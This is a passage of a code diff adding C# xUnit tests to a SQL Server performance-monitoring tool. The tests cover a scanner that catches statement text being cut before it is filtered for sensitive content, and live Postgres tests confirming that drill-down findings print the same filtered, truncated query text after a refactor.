+    [InlineData("var sqlText = SensitiveStatements.Text(raw); var p = string.Concat(sqlText.AsSpan(0, 5), \"x\");")]
+    [InlineData("var sqlText = SensitiveStatements.Text(raw); var p = sqlText.Remove(5);")]
+    [InlineData("var graph = SensitiveStatements.Xml(raw, 100); var p = graph.Split('\\n').Take(5).ToList();")]
+    public void TheScanner_LeavesTheRoundTwoShapesThatAreNotACutOfStatementText(string body)
+    {
+        Assert.Empty(ScanBody(body));
+    }
+
+    [Theory]
+    [InlineData("SELECT query_text[1:500] AS q FROM t")]
+    [InlineData("SELECT sql_text[:500] FROM t")]
+    [InlineData("SELECT r.blocked_sql_text[1:200] FROM t r")]
+    [InlineData("SELECT array_slice(query_text, 1, 500) FROM t")]
+    [InlineData("SELECT query_text::varchar(500) FROM t")]
+    [InlineData("SELECT r.query_text :: character varying(500) FROM t r")]
+    [InlineData("SELECT (COALESCE(a.query_text, b.query_text))::varchar(500) FROM t")]
+    [InlineData("SELECT query_text::char(80) FROM t")]
+    [InlineData("SELECT CAST(query_text AS varchar(500)) FROM t")]
+    [InlineData("SELECT CAST(COALESCE(x.statement, y.statement) AS VARCHAR(300)) FROM t")]
+    public void TheScanner_CatchesASqlSliceOrFixedLengthCastOfStatementText(string sql)
+    {
+        var hits = Scan("class C { const string Q = @\"" + sql + "\"; }");
+
+        Assert.Contains(hits, h => h.Kind.StartsWith("SQL ", StringComparison.Ordinal));
+    }
+
+    [Theory]
+    [InlineData("SELECT relname[1:63] FROM t")]
+    [InlineData("SELECT query_hash::varchar(16) FROM t")]
+    [InlineData("SELECT query_text::text FROM t")]
+    [InlineData("SELECT CAST(query_text AS text) FROM t")]
+    [InlineData("SELECT CAST(query_hash AS varchar(16)) FROM t")]
+    [InlineData("SELECT query_text::varchar FROM t")]
+    [InlineData("SELECT x[1:2] FROM t")]
+    public void TheScanner_LeavesASqlSliceOrCastThatIsNotAFixedLengthCutOfStatementText(string sql)
+    {
+        Assert.Empty(Scan("class C { const string Q = @\"" + sql + "\"; }"));
+    }
+
+    [Fact]
+    public void TheScansDocComment_NamesItsKnownBlindSpots()
+    {
+        var doc = RepoFile.ReadRepoFile("Darling", "Darling.Tests", "StatementCutSourceScanTests.cs");
+        Assert.Contains("Known blind spots", doc, StringComparison.Ordinal);
+        Assert.Contains("alias local", doc, StringComparison.Ordinal);
+        Assert.Contains("ternary", doc, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData("var lines = packageNames.Split(','); var p = lines.Take(5);")]
+    [InlineData("var p = ordered.Take(limit);")]
+    [InlineData("var p = McpHelpers.Truncate(serverName, 40);")]
+    public void TheScanner_LeavesALineListThatIsNotStatementText(string body)
+    {
+        Assert.Empty(ScanBody(body));
+    }
+
+    [Fact]
+    public void TheScanner_CutThenJudge_IsCaught_AndJudgeThenCut_IsNot()
+    {
+        var cutThenJudge = ScanBody("var cut = McpHelpers.Truncate(sqlText, 100); var j = SensitiveStatements.Text(cut);");
+        Assert.Contains(cutThenJudge, h => h.Kind == "C# Truncate");
+
+        var judgeThenCut = ScanBody("var sqlText = SensitiveStatements.Text(raw); var p = McpHelpers.Truncate(sqlText, 100);");
+        Assert.Empty(judgeThenCut);
+    }
+
+    [Theory]
+    [InlineData("var graph = SensitiveStatements.Xml(raw, 100); var p = McpHelpers.Truncate(graph, 100);")]
+    [InlineData("var graphNormalized = SensitiveStatements.Text(Normalize(raw)); var p = graphNormalized![..400];")]
+    [InlineData("var judged = AnalysisStatementText.Preview(raw, 900); var p = judged.Substring(0, 5);")]
+    [InlineData("var filteredGraph = full ? r.Graph : SensitiveStatements.Xml(r.Graph, 400) ?? \"x\"; var p = full ? filteredGraph : McpHelpers.Truncate(filteredGraph, 400);")]
+    [InlineData("var fetchedText = SensitiveStatements.Text(reader.GetString(4)) ?? \"\"; var p = fetchedText[..McpHelpers.TextElementCutLength(fetchedText, 9)];")]
+    [InlineData("var queryText = SensitiveStatements.Text(raw) ?? \"\"; var p = AlertContextBuilders.TruncateText(queryText, 80);")]
+    public void TheScanner_LeavesALocalThatWasJudgedBeforeItsCut(string body)
+    {
+        Assert.Empty(ScanBody(body));
+    }
+
+    [Theory]
+    // judged in another method: the name is not excused there
+    [InlineData("class C { void A() { var sqlText = SensitiveStatements.Text(raw); } void B(string sqlText) { var p = McpHelpers.Truncate(sqlText, 5); } }")]
+    // judged AFTER the cut: the cut still ran on raw text
+    [InlineData("class C { void A() { var p = McpHelpers.Truncate(sqlText, 5); sqlText = SensitiveStatements.Text(raw); } }")]
+    // judged inside an inner block that has closed
+    [InlineData("class C { void A() { if (x) { var sqlText = SensitiveStatements.Text(raw); } var p = McpHelpers.Truncate(sqlText, 5); } }")]
+    // the judge call belongs to a different local
+    [InlineData("class C { void A() { var other = SensitiveStatements.Text(raw); var p = McpHelpers.Truncate(sqlText, 5); } }")]
+    // a member of an object initializer is not judged by its neighbour
+    [InlineData("class C { void A() { var o = new { sqlText = raw, b = SensitiveStatements.Text(raw) }; var p = McpHelpers.Truncate(sqlText, 5); } }")]
+    public void TheScanner_DoesNotExcuseAJudgedNameOutsideItsBlockOrBeforeItsAssignment(string source)
+    {
+        Assert.Contains(Scan(source), h => h.Kind == "C# Truncate");
+    }
+
+    [Theory]
+    [InlineData("const string Col = \"query_text\"; string Q() => $@\"SELECT LEFT({Col}, 500) FROM t\";")]
+    [InlineData("string Q(string queryTextColumn) => $@\"SELECT SUBSTRING({queryTextColumn}, 1, 300) FROM t\";")]
+    [InlineData("string Q(string a) => $@\"SELECT LEFT({a}.query_text, 500) FROM t {a}\";")]
+    [InlineData("string Q() { var col = \"blocked_sql_text\"; return $@\"SELECT substr({col}, 1, 200) FROM t\"; }")]
+    [InlineData("string Q(string statementCol) => $\"SELECT id, LEFT({statementCol}, 100) AS q, hash FROM t\";")]
+    public void TheScanner_CatchesASqlCutOverAnInterpolatedColumn(string members)
+    {
+        var hits = Scan("class C { " + members + " }");
+
+        Assert.Contains(hits, h => h.Kind.StartsWith("SQL ", StringComparison.Ordinal));
+    }
+
+    [Theory]
+    [InlineData("const string Col = \"relname\"; string Q() => $@\"SELECT LEFT({Col}, 63) FROM t\";")]
+    [InlineData("string Q(string nameColumn) => $@\"SELECT LEFT({nameColumn}, 63) FROM t\";")]
+    [InlineData("string Q(string cols) => $@\"SELECT {cols} FROM t\";")]
+    public void TheScanner_LeavesASqlCutOverAnInterpolatedColumnThatIsNotStatementText(string members)
+    {
+        Assert.Empty(Scan("class C { " + members + " }"));
+    }
+
+    [Fact]
+    public void ACeilingException_PassesAtZero_AndFailsAboveItsCount_WhileAnExactOneFailsStale()
+    {
+        var none = new Dictionary<string, List<Hit>>();
+        var one = new Dictionary<string, List<Hit>> { ["F.cs"] = new() { new Hit("C# range", 3, "p.sqltext") } };
+        var two = new Dictionary<string, List<Hit>>
+        {
+            ["F.cs"] = new() { new Hit("C# range", 3, "p.sqltext"), new Hit("C# range", 9, "p.sqltext") },
+        };
+
+        var ceiling = new[] { new Allowed("F.cs", "p.sqltext", 1, "retires with its PR", Ceiling: true) };
+        var exact = new[] { new Allowed("F.cs", "p.sqltext", 1, "stays") };
+
+        Assert.Empty(Reconcile(none, ceiling));
+        Assert.Empty(Reconcile(one, ceiling));
+        Assert.NotEmpty(Reconcile(two, ceiling));
+        Assert.NotEmpty(Reconcile(none, exact));
+        Assert.Empty(Reconcile(one, exact));
+        Assert.NotEmpty(Reconcile(two, exact));
+    }
+
+    [Fact]
+    public void TheSurfaceOfTheScan_ReachesLiteAnalysis_AndTheIdentityOnlyExceptionsAreNamed()
+    {
+        Assert.Contains("Lite/Analysis", ScannedTrees);
+
+        /* #5361 F1: the shared analysis project is scanned, and the pileup finding's printed statement is the reader's
+           judged PreviewText with an empty fallback, never the raw identity cut in QueryText. */
+        Assert.Contains("PerformanceMonitor.Analysis", ScannedTrees);
+        var detector = RepoFile.ReadRepoFile("PerformanceMonitor.Analysis", "SameStatementPileupDetector.cs");
+        Assert.Contains("Preview(leader.PreviewText ?? \"\")", detector, StringComparison.Ordinal);
+        Assert.DoesNotContain("PreviewText ?? leader.QueryText", detector, StringComparison.Ordinal);
+        Assert.DoesNotContain("string? PreviewText = null", detector, StringComparison.Ordinal);
+        Assert.Contains(Exceptions, e => e.File == "Lite/Analysis/PileupSnapshotReader.cs" && !e.Ceiling);
+        Assert.Contains(Exceptions, e => e.File.EndsWith("/PgPileupSnapshotReader.cs", StringComparison.Ordinal) && !e.Ceiling);
+    }
+}
diff --git a/Darling/Darling.Tests/StatementDrillDownTextFetchLiveTests.cs b/Darling/Darling.Tests/StatementDrillDownTextFetchLiveTests.cs
new file mode 100644
index 0000000000..d16b990d11
--- /dev/null
+++ b/Darling/Darling.Tests/StatementDrillDownTextFetchLiveTests.cs
@@ -0,0 +1,481 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5361: the reconstructed-chain drill-down reads its 5,000 pair-rows WITHOUT statement text and fetches the whole text
+/// of only the levels it shows, by event key, from the source each level's row came from (the blocked-process-report
+/// view, or the DMV-snapshot view for an edge no report holds). What it prints must be what it printed when the pair
+/// read carried the whole text: the same chains, the same levels in the same order, the same judged and cut text.
+/// The oracle is that old flow, run in the test on the same rows: the pair read with the text columns restored, the
+/// whole-text DMV append, the same reconstruction, <see cref="PgDrillDownCollector.StatementPreview"/> per text.
+/// The seeded rows repeat an edge with different text per row (so the wrong row is visible), mix both sources, include a
+/// plain statement past the cut, a named statement the filter withholds, an astral character at the cut, a NULL text
+/// and a NULL ecid.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StatementDrillDownTextFetchLiveTests
+{
+    private const string ServerName = "statement-drilldown-textfetch-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static readonly string Plain = "SELECT plain_ssf " + new string('x', 683);
+
+    /// <summary>An astral character (a surrogate pair) whose first half is the 500th character: the cut must not split it.</summary>
+    private static readonly string AstralAtCut = new string('a', 499) + "\U0001F600" + new string('b', 100);
+
+    private static string Json(object? value) => JsonSerializer.Serialize(value);
+
+    private static async Task InsertBprAsync(
+        NpgsqlConnection connection, CancellationToken ct, DateTime at, int blockedSpid, int blockingSpid, long waitMs,
+        string? blockedText, string? blockingText, int? blockedEcid = 0, int? blockingEcid = 0)
+    {
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms,
+     lock_mode, blocked_sql_text, blocking_sql_text, blocked_ecid, blocking_ecid, monitor_loop)
+VALUES ($1, $2, $3, $4, $2, 'FetchDb', $5, $6, $7, 'X', $8, $9, $10, $11, 7)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, blockedSpid, blockingSpid, waitMs,
+            (object?)blockedText ?? DBNull.Value, (object?)blockingText ?? DBNull.Value,
+            (object?)blockedEcid ?? DBNull.Value, (object?)blockingEcid ?? DBNull.Value);
+    }
+
+    private static async Task InsertDmvAsync(
+        NpgsqlConnection connection, CancellationToken ct, DateTime at, int blockedSpid, int blockingSpid, long waitMs,
+        string? blockedText, string? blockingText)
+    {
+        await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO dmv_blocking_snapshots
+    (collection_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms,
+     blocking_status, blocked_sql_text, blocking_sql_text, blocked_ecid, blocking_ecid)
+VALUES ($1, $2, $3, $4, $2, 'FetchDb', $5, $6, $7, 'sleeping', $8, $9, 0, 0)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, blockedSpid, blockingSpid, waitMs,
+            (object?)blockedText ?? DBNull.Value, (object?)blockingText ?? DBNull.Value);
+    }
+
+    /// <summary>The flow of the drill-down before #5361, run on the same store: whole text in every pair-row.</summary>
+    private static async Task<string> OracleChainsJsonAsync(NpgsqlConnection connection, AnalysisContext context, CancellationToken ct)
+    {
+        var oracleSql = PgDrillDownCollector.ReconstructedChainsSql
+            .Replace("''::text AS blocked_sql", "blocked_sql_text AS blocked_sql", StringComparison.Ordinal)
+            .Replace("''::text AS blocking_sql", "blocking_sql_text AS blocking_sql", StringComparison.Ordinal);
+        Assert.NotEqual(PgDrillDownCollector.ReconstructedChainsSql, oracleSql);
+
+        using var cmd = new NpgsqlCommand(oracleSql, connection);
+        cmd.Parameters.AddWithValue(context.ServerId);
+        cmd.Parameters.AddWithValue(context.TimeRangeStart);
+        cmd.Parameters.AddWithValue(context.TimeRangeEnd);
+        cmd.Parameters.AddWithValue(EventWindowFloor.For(context.TimeRangeStart));
+        var rows = new List<BlockingPairRow>();
+        await using (var reader = await cmd.ExecuteReaderAsync(ct))
+        {
+            while (await reader.ReadAsync(ct))
+                rows.Add(PgBlockingPairRowQuery.Read(reader));
+        }
+
+        await PgBlockingPairRowQuery.AppendDmvSnapshotRowsAsync(
+            connection.CreateCommand, rows, context.ServerId, context.TimeRangeStart, context.TimeRangeEnd, ct, includeText: true);
+        Assert.Contains(rows, r => r.BlockedSqlText.Length > 0);
+
+        var reconstruction = BlockingChainReconstructor.Reconstruct(
+            rows, maxDepth: 50, maxPairs: 5000, stepBudget: 100_000, scopeByMonitorLoop: false);
+        return Json(reconstruction.Chains.Take(3).Select(chain => (object)new
+        {
+            apex_spid = chain.ApexSpid,
+            apex_sleeping = chain.ApexSleeping,
+            depth = chain.Depth,
+            victim_count = chain.VictimCount,
+            max_wait_ms = chain.MaxWaitMs,
+            levels = chain.Levels.Select(l => new
+            {
+                level = l.Level,
+                blocking_spid = l.BlockingSpid,
+                blocked_spid = l.BlockedSpid,
+                lock_mode = l.LockMode,
+                wait_time_ms = l.WaitTimeMs,
+                blocking_sql = PgDrillDownCollector.StatementPreview(l.BlockingSqlText),
+                blocked_sql = PgDrillDownCollector.StatementPreview(l.BlockedSqlText)
+            }).ToList()
+        }).ToList());
+    }
+
+    [Fact]
+    public async Task ReconstructedChains_PrintTheSameLevelsAndText_AsTheWholeTextPairRead_FromBothSources()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live drill-down text test.");
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var end = DarlingMcpTestData.Naive(DateTime.UtcNow).AddMinutes(1);
+            var context = new AnalysisContext
+            {
+                ServerId = ServerId, ServerName = ServerName, TimeRangeStart = end.AddHours(-4), TimeRangeEnd = end,
+                ServerUtcOffset = TimeSpan.Zero, CancellationToken = ct
+            };
+            var t0 = new DateTime(context.TimeRangeStart.AddMinutes(30).Ticks / TimeSpan.TicksPerMinute * TimeSpan.TicksPerMinute, DateTimeKind.Unspecified);
+            var named = StatementScrubCanary.UriStatement(500);
+
+            /* Chain A, blocked-process reports: 60 -> 71 -> 72 -> 73. The edge 60 -> 71 repeats three times with different
+               text per row; the longest wait (12,000, newest of the two) is the row the chain keeps. */
+            await InsertBprAsync(connection, ct, t0.AddSeconds(1), 71, 60, 5_000, "SELECT older_a1", "SELECT older_b1");
+            await InsertBprAsync(connection, ct, t0.AddSeconds(2), 71, 60, 12_000, named, Plain);
+            await InsertBprAsync(connection, ct, t0.AddSeconds(3), 71, 60, 12_000, AstralAtCut, AstralAtCut + "tail");
+            await InsertBprAsync(connection, ct, t0.AddSeconds(4), 72, 71, 3_000, "SELECT long_" + new string('y', 2_000), "SELECT blocking_72");
+            await InsertBprAsync(connection, ct, t0.AddSeconds(5), 73, 72, 2_000, null, "");
+            await InsertBprAsync(connection, ct, t0.AddSeconds(6), 74, 72, 1_000, "SELECT null_ecid", "SELECT null_ecid_blocker", blockedEcid: null, blockingEcid: null);
+
+            /* Chain B, DMV snapshots only (no report holds it): 80 -> 81 -> 82. */
+            await InsertDmvAsync(connection, ct, t0.AddMinutes(5).AddSeconds(1), 81, 80, 4_000, "SELECT dmv_old", "SELECT dmv_old_blocker");
+            await InsertDmvAsync(connection, ct, t0.AddMinutes(5).AddSeconds(30), 81, 80, 9_000, named, Plain);
+            await InsertDmvAsync(connection, ct, t0.AddMinutes(5).AddSeconds(31), 82, 81, 2_500, "SELECT dmv_82", AstralAtCut);
+
+            /* Chain C: an edge both sources hold in one minute. The report wins and the DMV edge is dropped, so the text
+               printed is the report's, not the snapshot's. */
+            await InsertBprAsync(connection, ct, t0.AddMinutes(10).AddSeconds(5), 91, 90, 6_000, "SELECT from_report", "SELECT from_report_blocker");
+            await InsertDmvAsync(connection, ct, t0.AddMinutes(10).AddSeconds(25), 91, 90, 7_000, "SELECT from_snapshot", "SELECT from_snapshot_blocker");
+
+            var oracle = await OracleChainsJsonAsync(connection, context, ct);
+
+            var finding = new AnalysisFinding { RootFactKey = "BLOCKING_CHAIN", StoryPath = "BLOCKING_CHAIN", PathKeys = ["BLOCKING_CHAIN"], Severity = 1.0 };
+            await new PgDrillDownCollector(postgres).EnrichFindingsAsync([finding], context);
+            Assert.NotNull(finding.DrillDown);
+            var shipped = Json(finding.DrillDown!["reconstructed_blocking_chains"]);
+
+            Assert.Equal(oracle, shipped);
+
+            /* Positive controls: the comparison saw all three chains, both sources, the cut, the withheld marker and the
+               text of the row the reconstruction kept (not an older or a snapshot row). */
+            var chains = JsonSerializer.Deserialize<JsonElement>(shipped).EnumerateArray().ToList();
+            Assert.Equal(3, chains.Count);
+            Assert.Contains(SensitiveStatements.PlaceholderText, shipped, StringComparison.Ordinal);
+            Assert.DoesNotContain(StatementScrubCanary.UriSecretPartial, shipped, StringComparison.Ordinal);
+            Assert.Contains(Plain[..500], shipped, StringComparison.Ordinal);
+            Assert.DoesNotContain(Plain[..501], shipped, StringComparison.Ordinal);
+            Assert.Contains("SELECT dmv_82", shipped, StringComparison.Ordinal);
+            Assert.Contains("SELECT from_report", shipped, StringComparison.Ordinal);
+            Assert.DoesNotContain("SELECT from_snapshot", shipped, StringComparison.Ordinal);
+            Assert.DoesNotContain("SELECT older_a1", shipped, StringComparison.Ordinal);
+            Assert.Contains("SELECT null_ecid", shipped, StringComparison.Ordinal);
+
+            /* The pair read itself carries no statement text. */
+            using var cmd = new NpgsqlCommand(PgDrillDownCollector.ReconstructedChainsSql, connection);
+            cmd.Parameters.AddWithValue(ServerId);
+            cmd.Parameters.AddWithValue(context.TimeRangeStart);
+            cmd.Parameters.AddWithValue(context.TimeRangeEnd);
+            cmd.Parameters.AddWithValue(EventWindowFloor.For(context.TimeRangeStart));
+            var pairRows = new List<BlockingPairRow>();
+            await using (var reader = await cmd.ExecuteReaderAsync(ct))
+            {
+                while (await reader.ReadAsync(ct))
+                    pairRows.Add(PgBlockingPairRowQuery.Read(reader));
+            }
+
+            Assert.True(pairRows.Count >= 7, "the BPR pair read returned " + pairRows.Count + " rows");
+            Assert.All(pairRows, r => Assert.True(r.BlockedSqlText.Length == 0 && r.BlockingSqlText.Length == 0));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// The parameter-sensitive drill-down ranks plans WITHOUT text (<c>has_inline_text</c>) and reads the whole inline text of
+    /// the five it keeps by (database, query hash, plan hash), then the dimension's text by digest for a kept plan with no
+    /// inline text. It must print what it printed when the ranking read carried each row's inline text. The seeded
+    /// plans: a newest row whose inline text differs from the older rows' (the newest wins), a plain statement past the
+    /// cut, a named statement the filter withholds, an astral character at the cut under a NULL database, an EMPTY inline
+    /// text (inline wins even when empty), a plan with no inline text on its newest row but some on older rows (the
+    /// dimension's text), and two plans sharing one query hash with different plan hashes.
+    /// </summary>
+    [Fact]
+    public async Task ParameterSensitivePlans_PrintTheSameText_AsTheRankingReadThatCarriedIt()
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live drill-down text test.");
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DeleteRowsAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+        var bodySucceeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+            var end = DarlingMcpTestData.Naive(DateTime.UtcNow).AddMinutes(1);
+            var windowStart = end.AddHours(-4);
+            var context = new AnalysisContext
+            {
+                ServerId = ServerId, ServerName = ServerName, TimeRangeStart = windowStart, TimeRangeEnd = end,
+                ServerUtcOffset = TimeSpan.Zero, CancellationToken = ct
+            };
+            var named = StatementScrubCanary.UriStatement(500);
+
+            /* plan: (database, query hash, plan hash, newest inline text, older inline text, dimension text or null). */
+            var plans = new (string? Db, string Hash, string PlanHash, string? Newest, string? Older, string? Dim)[]
+            {
+                ("FetchDb", "0xQH_SAME", "0xPH_0", Plain, "SELECT older_0", null),
+                ("FetchDb", "0xQH_SAME", "0xPH_1", named, "SELECT older_1", null),
+                (null, "0xQH_2", "0xPH_2", AstralAtCut, null, null),
+                ("FetchDb", "0xQH_3", "0xPH_3", "", "SELECT older_3", null),
+                ("FetchDb", "0xQH_4", "0xPH_4", null, "SELECT older_4", "SELECT dimension_4 " + new string('d', 600)),
+                ("FetchDb", "0xQH_5", "0xPH_5", "SELECT beyond_the_cap_5", null, null),
+                ("FetchDb", "0xQH_6", "0xPH_6", "SELECT beyond_the_cap_6", null, null),
+            };
+
+            var compiledBeforeWindow = DateTime.SpecifyKind(windowStart.AddDays(-2), DateTimeKind.Unspecified);
+            for (var p = 0; p < plans.Length; p++)
+            {
+                var plan = plans[p];
+                for (var snapshot = 0; snapshot < 3; snapshot++)
+                {
+                    var newest = snapshot == 2;
+                    var digest = System.Security.Cryptography.SHA256.HashData(System.Text.Encoding.UTF8.GetBytes($"d6 {p} {newest}"));
+                    if (newest && plan.Dim is not null)
+                    {
+                        await DarlingMcpTestData.ExecAsync(connection, ct,
+                            "INSERT INTO query_text_dim (digest, query_text, last_seen) VALUES ($1, $2, $3) ON CONFLICT (digest) DO NOTHING",
+                            digest, plan.Dim, DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+                    }
+
+                    var inline = newest ? plan.Newest : (plan.Older is null ? null : plan.Older + " snapshot " + snapshot);
+                    await DarlingMcpTestData.ExecAsync(connection, ct, @"
+INSERT INTO query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash,
+     creation_time, execution_count, min_worker_time, max_worker_time, min_grant_kb, max_grant_kb,
+     min_spills, max_spills, query_text, query_text_digest, delta_execution_count)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, 20000, $10, 1024, 2048, 0, 0, $11, $12, 25)",
+                        CollectionIdGenerator.Next(), DateTime.SpecifyKind(windowStart.AddMinutes(30 + (snapshot * 60)), DateTimeKind.Unspecified),
+                        ServerId, ServerName, (object?)plan.Db ?? DBNull.Value, plan.Hash, plan.PlanHash, compiledBeforeWindow,
+                        500L + snapshot, 20_000L * (60 - p), (object?)inline ?? DBNull.Value, digest);
+                }
+            }
+
+            /* The oracle: the ranking read with the text restored (the shape before #5361), the reader's cap, and the
+               dimension read for the kept plans. */
+            var oracleSql = PgDrillDownCollector.ParameterSensitiveSql
+                .Replace("query_text IS NOT NULL AS has_inline_text,", "query_text,", StringComparison.Ordinal)
+                .Replace("        has_inline_text,", "        query_text,", StringComparison.Ordinal)
+                .Replace("    o.has_inline_text,", "    o.query_text,", StringComparison.Ordinal);
+            Assert.DoesNotContain("has_inline_text", oracleSql, StringComparison.Ordinal);
+            var kept = new List<(object?[] Row, string? Inline, byte[]? Digest)>();
+            using (var cmd = new NpgsqlCommand(oracleSql, connection))
+            {
+                cmd.Parameters.AddWithValue(ServerId);
+                cmd.Parameters.AddWithValue(windowStart);
+                cmd.Parameters.AddWithValue(end);
+                await using var reader = await cmd.ExecuteReaderAsync(ct);
+                while (kept.Count < PgDrillDownCollector.ParameterSensitiveMaxOffenders && await reader.ReadAsync(ct))
+                {
+                    var row = new object?[10];
+                    for (var i = 0; i < 9; i++)
+                        row[i] = reader.IsDBNull(i) ? null : reader.GetValue(i);
+                    kept.Add((row, reader.IsDBNull(9) ? null : reader.GetString(9), reader.IsDBNull(13) ? null : reader.GetFieldValue<byte[]>(13)));
+                }
+            }
+
+            Assert.Equal(PgDrillDownCollector.ParameterSensitiveMaxOffenders, kept.Count);
+            var dimension = new Dictionary<string, string>(StringComparer.Ordinal);
+            await using (var dimCmd = new NpgsqlCommand(PgDrillDownCollector.ParameterSensitiveTextSql, connection))
+            {
+                dimCmd.Parameters.Add(new NpgsqlParameter
+                {
+                    NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Bytea,
+                    Value = kept.Where(k => k.Inline is null && k.Digest is not null).Select(k => k.Digest!).ToArray()
+                });
+                await using var dimReader = await dimCmd.ExecuteReaderAsync(ct);
+                while (await dimReader.ReadAsync(ct))
+                    dimension[PgDrillDownCollector.DigestKey(dimReader.GetFieldValue<byte[]>(0))] = dimReader.GetString(1);
+            }
+
+            var oracle = Json(kept.Select(k => (object)new
+            {
+                database = k.Row[0] as string ?? "",
+                query_hash = k.Row[1] as string ?? "",
+                query_plan_hash = k.Row[2] as string ?? "",
+                execution_count = k.Row[3] is null ? 0L : Convert.ToInt64(k.Row[3]),
+                min_worker_time_us = k.Row[4] is null ? 0L : Convert.ToInt64(k.Row[4]),
+                max_worker_time_us = k.Row[5] is null ? 0L : Convert.ToInt64(k.Row[5]),
+                worker_ratio = k.Row[6] is null ? 0.0 : Convert.ToDouble(k.Row[6]),
+                grant_ratio = k.Row[7] is null ? 0.0 : Convert.ToDouble(k.Row[7]),
+                spills_on_some_inputs = k.Row[8] is not null && Convert.ToInt32(k.Row[8]) == 1,
+                query_text = PgDrillDownCollector.StatementPreview(PgDrillDownCollector.SettledQueryText(k.Inline, k.Digest, dimension))
+            }).ToList());
+
+            var finding = new AnalysisFinding { RootFactKey = "PARAMETER_SENSITIVITY", StoryPath = "PARAMETER_SENSITIVITY", PathKeys = ["PARAMETER_SENSITIVITY"], Severity = 1.0 };
+            await new PgDrillDownCollector(postgres).EnrichFindingsAsync([finding], context);
+            Assert.NotNull(finding.DrillDown);
+            var shipped = Json(finding.DrillDown!["parameter_sensitive_queries"]);
+
+            Assert.Equal(oracle, shipped);
+
+            /* Positive controls: the newest row's text and not an older one's, the cut, the withheld marker, the empty inline
+               text, the dimension's text, the plan cap, and a ranking read that carries no text. */
+            Assert.Contains(Plain[..500], shipped, StringComparison.Ordinal);
+            Assert.DoesNotContain(Plain[..501], shipped, StringComparison.Ordinal);
+            Assert.Contains(SensitiveStatements.PlaceholderText, shipped, StringComparison.Ordinal);
+            Assert.DoesNotContain(StatementScrubCanary.UriSecretPartial, shipped, StringComparison.Ordinal);
+            Assert.DoesNotContain("older_", shipped, StringComparison.Ordinal);
+            Assert.Contains("SELECT dimension_4", shipped, StringComparison.Ordinal);
+            Assert.DoesNotContain("beyond_the_cap", shipped, StringComparison.Ordinal);
+            Assert.Contains("\"query_text\":\"\"", shipped, StringComparison.Ordinal);
+
+            using var rankCmd = new NpgsqlCommand(PgDrillDownCollector.ParameterSensitiveSql, connection);
+            rankCmd.Parameters.AddWithValue(ServerId);
+            rankCmd.Parameters.AddWithValue(windowStart);
+            rankCmd.Parameters.AddWithValue(end);
+            await using var rankReader = await rankCmd.ExecuteReaderAsync(ct);
+            Assert.Equal("boolean", rankReader.GetDataTypeName(9));
+            var ranked = 0;
+            while (await rankReader.ReadAsync(ct))
+                ranked++;
+            Assert.Equal(plans.Length, ranked);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// #1767 / #5361: since the collectors write the fact row's <c>query_text</c> as NULL and keep the text in
+    /// <c>query_text_dim</c>, the inline-text read must resolve the dimension too, the way the view's
+    /// <c>COALESCE(f.query_text, qtd.query_text)</c> does. The two seeded rows above write inline text, so they could
+    /// not see a read of the bare fact column. Here the newest row of one plan has NULL inline text and a digest
+    /// whose text lives only in the dimension; a second plan has inline text AND a dimension row (inline wins, even
+    /// when empty); a third has neither (no text, so the plan is left out of the answer).
+    /// </summary>
+    [Fact]
+    public async Task ParameterSensitiveInlineText_ResolvesADimensionStoredText_WhenTheFactPayloadIsNull()
+    {
+        var cs = ConnectionString;
